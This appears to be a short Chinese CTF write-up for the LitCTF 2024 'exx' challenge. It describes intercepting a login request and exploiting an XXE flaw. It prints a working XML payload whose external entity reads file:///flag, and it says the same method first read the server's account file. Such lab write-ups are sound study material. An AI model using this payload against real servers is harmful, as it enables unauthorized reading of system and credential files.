当前位置： 首页 > news >正文

[LitCTF 2024]exx

news 来源：原创 2024/9/19 9:17:37

输入任意账号密码进行抓包

考查xxe漏洞

我们加入xxe语句并让它回显我们要它会显的东西：先来读取一下用户名和密码

我们可以看到，它已经读取了服务器下的账号密码文件，接着我们直接读取根目录下的flag文件。通常情况下flag文件的位置一般就根目录和var/www/html目录之下 或者是其父目录之下。存在的形式一般为flag、flag.txt、flag.php

<?xml version="1.0" ?>
<!DOCTYPE ANY [
<!ENTITY admin SYSTEM  "file:///flag">
]>
<user><username>&admin;</username><password>123</password>
</user>

相关文章：

  • 北京网站建设多少钱？
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 「MyBatis」实现留言板
  • LVS服务的搭建之NAT模式、DR模式的搭建实战
  • 情绪电商的数字化营销方法适用行业大揭秘
  • Linux的安装和使用
  • 使用RestHighLevelClient进行Elasticsearch Function Score查询
  • 【喜报】祝贺青创智通签约广州进德生物科技SunFMEA项目
  • JavaSE 网络编程
  • 【学习笔记】Day 12
  • 11 Radiobutton组件
  • C# 通过代码开启自动设置时间和自动设置时区选项
  • 力扣 | 动态规划 | 状态机 | 买卖股票 | 买卖股票的最佳时机
  • MVI、MVVM、MVP的对比
  • 已解决：java.lang.UnsupportedClassVersionError 异常的正确解决方法，亲测有效！！！
  • 肿瘤细胞表皮生长因子EGFR靶向肽；GE11；YHWYGYTPQNVI
  • fastjson(autoType)反序列化漏洞
  • Android开发 - 掌握ConstraintLayout（四）创建基本约束
  • CSS3 聊天气泡框以及 inherit、currentColor 关键字
  • CSS进阶篇--用CSS开启硬件加速来提高网站性能
  • in typeof instanceof ===这些运算符有什么作用
  • Netty 4.1 源代码学习：线程模型
  • October CMS - 快速入门 9 Images And Galleries
  • PAT A1017 优先队列
  • Three.js 再探 - 写一个跳一跳极简版游戏
  • Unix命令
  • use Google search engine
  • Vue2.x学习三：事件处理生命周期钩子
  • 关于Flux,Vuex,Redux的思考
  • 前端攻城师
  • 使用 Xcode 的 Target 区分开发和生产环境
  • 问题之ssh中Host key verification failed的解决
  • 学习笔记TF060:图像语音结合，看图说话
  • 一个JAVA程序员成长之路分享
  • 一个完整Java Web项目背后的密码
  • 一些关于Rust在2019年的思考
  • 译米田引理
  • 阿里云API、SDK和CLI应用实践方案
  • ​DB-Engines 11月数据库排名：PostgreSQL坐稳同期涨幅榜冠军宝座
  • ​总结MySQL 的一些知识点：MySQL 选择数据库​
  • #、%和$符号在OGNL表达式中经常出现
  • (02)Hive SQL编译成MapReduce任务的过程
  • (152)时序收敛---＞(02)时序收敛二
  • （2）(2.10) LTM telemetry
  • （C语言）fgets与fputs函数详解
  • （MTK）java文件添加简单接口并配置相应的SELinux avc 权限笔记2
  • （PySpark）RDD实验实战——取最大数出现的次数
  • （STM32笔记）九、RCC时钟树与时钟 第二部分
  • （web自动化测试+python）1
  • (层次遍历)104. 二叉树的最大深度
  • （附源码）spring boot儿童教育管理系统 毕业设计 281442
  • （利用IDEA+Maven）定制属于自己的jar包
  • （三） diretfbrc详解
  • （五）关系数据库标准语言SQL
  • (转)C#调用WebService 基础
  • (转)socket Aio demo
  • (转)VC++中ondraw在什么时候调用的